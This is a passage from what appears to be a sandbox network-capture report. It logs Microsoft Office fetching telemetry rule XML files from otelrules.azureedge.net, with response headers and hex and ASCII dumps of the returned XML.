2024-10-23 19:04:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49870	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4e9f4159-f01e-005d-3228-2113ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-r1755647c66ldfgxa3qp9d53us00000008q000000000402h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49868	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: fc8879c6-e01e-003c-6a59-23c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bbnmnfvzuhft9x8zg00000004v00000000087d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49869	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: e1e0bfc6-201e-006e-0e0b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-r1755647c66j878m0wkraqty38000000078g0000000001sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49872	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 55805c6b-301e-0052-57c0-2065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-r1755647c66z4pt7cv1pnqayy400000008sg000000000x2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49871	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: b72677c2-a01e-0021-325d-23814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bbvwcxrk0yzwg4d580000000690000000003atu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49874	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 23449c74-401e-0083-0a50-23075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bbrx2rj4asdpg8sbs0000000270000000001t4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49873	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: efa6dde7-e01e-0071-750c-2208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-r1755647c66zkj29xnfn2r3bwn00000005sg000000006uzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49875	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 90f594d0-e01e-0003-5056-230fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bb94gkbvedtsa5ef40000000670000000005bfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49876	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: dc073066-d01e-0065-6c50-23b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bbvwcxrk0yzwg4d5800000006c00000000001p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49877	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:27 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:27 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: ee3730f2-f01e-003f-725a-23d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190427Z-17fbfdc98bbwfg2nvhsr4h37pn000000065000000000812d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49878	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:28 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9144373a-f01e-005d-575a-2313ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190428Z-17fbfdc98bb8xnvm6t4x6ec5m400000005z0000000008z2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data 